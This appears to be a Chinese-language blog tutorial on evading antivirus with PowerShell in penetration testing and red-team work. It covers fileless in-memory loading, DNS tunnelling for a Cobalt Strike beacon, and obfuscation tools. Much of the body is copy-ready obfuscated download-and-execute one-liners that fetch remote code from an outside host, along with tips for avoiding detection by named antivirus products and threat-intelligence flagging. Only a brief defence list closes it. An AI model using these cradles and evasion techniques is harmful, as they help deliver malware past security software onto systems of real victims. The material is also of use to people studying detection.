Powershell免杀的探索
字数 1550 2025-08-25 22:59:02
PowerShell免杀技术深度解析
一、PowerShell免杀概述
1.1 PowerShell的优势特性
- 灵活性高:内存中运行代码,无需写入磁盘(无文件攻击)
- 多功能性:可直接调用.Net和Windows API
- 普适性强:Windows 7+/Server 2008+默认安装
- 易用性好:代码易于动态生成,可嵌入Office宏等载体
- 隐秘性强:易于混淆、可绕过应用程序白名单、内存加载、缺乏默认日志记录
1.2 应用场景
- 渗透测试中提升危害等级
- 内网渗透横向移动及持久控制
- 钓鱼攻击隐蔽执行
二、无文件攻击技术
2.1 基本原理
利用系统白名单工具PowerShell,通过远程加载恶意脚本到内存执行,避免文件落地。
2.2 实现流程
- 生成异或混淆后的bin文件
- 修改加载器,将bin文件嵌入其中
- 远程加载PS脚本 → 远程加载bin → 上线
2.3 优缺点分析
- 优点:无文件落地,内存中难查杀
- 缺点:有明显IP及端口连接信息
三、目标不出网解决方案:DNS隧道
3.1 DNS隧道原理
将数据封装在DNS协议中实现隐蔽传输,利用DNS报文的天然穿透防火墙能力。
3.2 配置步骤
- 创建A记录指向团队服务器IP
- 创建NS记录指向A记录
- 使用
dig +trace 域名验证解析 - CS配置:
- Payload选择
beacon_dns_txt - Host使用A记录域名
- 优先使用80、443、8080等穿透性强的端口
- 添加所有NS域名(逗号分隔)
- Payload选择
3.3 模式切换
初始为DNS模式(黑机器,回连间隔1分钟),可执行mode-http切换为HTTP传输。
四、Bypass杀软技巧
4.1 测试环境
- 在线检测:VirusTotal(慎用,易被标记)
- 本地测试:360杀毒/卫士最新版、火绒最新版
- 已知可过:卡巴斯基、趋势、Windows Defender
4.2 注意事项
- 避免将样本上传至VT,会导致VPS和CS被标记
- 可使用微步/奇安信威胁情报中心查询VPS标记情况
- 360对PowerShell调用敏感,需特殊绕过
五、PowerShell混淆技术
5.1 脚本混淆
5.1.1 Obfuscation工具使用
- 解决执行策略问题:
Set-ExecutionPolicy Unrestricted Import-Module ./Invoke-Obfuscation.psd1 Invoke-Obfuscation - 混淆流程:
set scriptpath C:\path\to\script.ps1 encoding [选择功能模块] [选择混淆方式] out 1.ps1
5.1.2 xencrypt工具使用
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -infile .\but.ps1 -outfile buts.ps1 -iterations 5
- 迭代次数越多文件越大,可能绕过基于检测时间限制的杀软
5.2 命令混淆
5.2.1 基础方法
原始payload:
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://9821.ink/xxx')
-
字符串分割:
Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://9821.ink/xxx") -
变量替换:
$wc=New-Object Net.WebClient;$wc.DownloadString('h'+'ttp://9821.ink/xxx') -
转义符号:
Invoke-Expression (New-Object Net.WebClient)."Down`loadString"('h'+'ttp://9821.ink/xxx') -
多重转义:
Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"('h'+'ttp://9821.ink/xxx')
5.2.2 高级组合
-
字符串替换:
$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://9821.ink/xxx'')'.Replace('123','adString');IEX ($c1+$c2) -
数组拼接:
$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://9821.ink/xxx''))';$a3="$a1,$a2";IEX(-join $a3) -
别名使用:
set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://9821.ink/xxx') -
综合混淆:
set-alias -name kaspersky -value Invoke-Expression;"$a1='kaspersky ((new-object net.webclient).downl';$a2='oadstring(''http://9821.ink/xxx''))';$a3=$a1,$a2;kaspersky(-join $a3)"
六、调用方式绕过
6.1 可执行文件改名
- 将
powershell.exe改为powershell.com执行(部分杀软已修复)
6.2 参数欺骗
使用CS的argue参数欺骗功能
6.3 其他调用方式
-
避免直接执行:
execute执行powershell.exe(shell命令本质是
cmd.exe /c arguments,可能失败) -
替代执行方法:
- 通过WMI调用
- 通过计划任务调用
- 通过注册表调用
七、实验环境建议
- 使用内网虚拟机环境
- 操作后重置虚拟机
- 避免在公网直接测试免杀技术
- 系统环境示例:
- CS 3.14(注意3.14与3.13 payload不同)
- 阿里云VPS
- Win10系统
- 最新版火绒/360
八、防御建议
- 启用PowerShell日志记录
- 限制PowerShell执行策略
- 监控异常DNS请求
- 更新杀软至最新版本
- 对系统工具进行行为监控
九、参考资料
- Chabug论坛技术分享
- S1ye师傅的loader+bin方案
- Klionsec师傅的DNS隧道技术
- 安全客及远控免杀从入门到实践系列
- 0x3师傅的argue参数欺骗技术
- 肖洋肖恩师傅的替代执行方法